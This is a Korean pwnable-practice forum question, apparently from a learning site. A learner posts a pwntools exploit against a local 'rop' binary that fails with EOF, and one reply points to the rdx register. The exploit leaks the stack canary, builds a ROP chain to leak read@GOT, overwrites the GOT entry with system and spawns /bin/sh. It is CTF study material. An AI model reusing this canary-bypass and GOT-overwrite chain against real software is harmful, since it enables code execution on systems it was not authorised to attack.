실행하면 계속 eof 나옵니다.
일단 코드는 이렇게 작성했습니다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = process('./rop')
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
buf = b"A"*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*56 + p64(cnry) + b"A"*8
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
puts = lb + libc.symbols["puts"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("puts", puts)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
pop rdi, pop rsi r15 가젯은 ropgadget으로 찾아서 입력했습니다.
중간에 gdb.attack(p)로 gdb 봐도 코드가 잘 들어가는 것 같고, 혹시 해서 read_got + 8을 read_got으로 바꿔도 여전합니다.
또 특이하게도 가끔 stack smashing detected가 뜹니다. (보통 뜨지 않음)
어떤 게 문제인지 잘 모르겠습니다...
#pwnable
작성자 정보
답변
1
5unkn0wn
강의 수강: 50
read got를 system 주소로 입력받을 때 rdx 값이 정상적으로 들어있는지 확인해보셔야 할 것 같습니다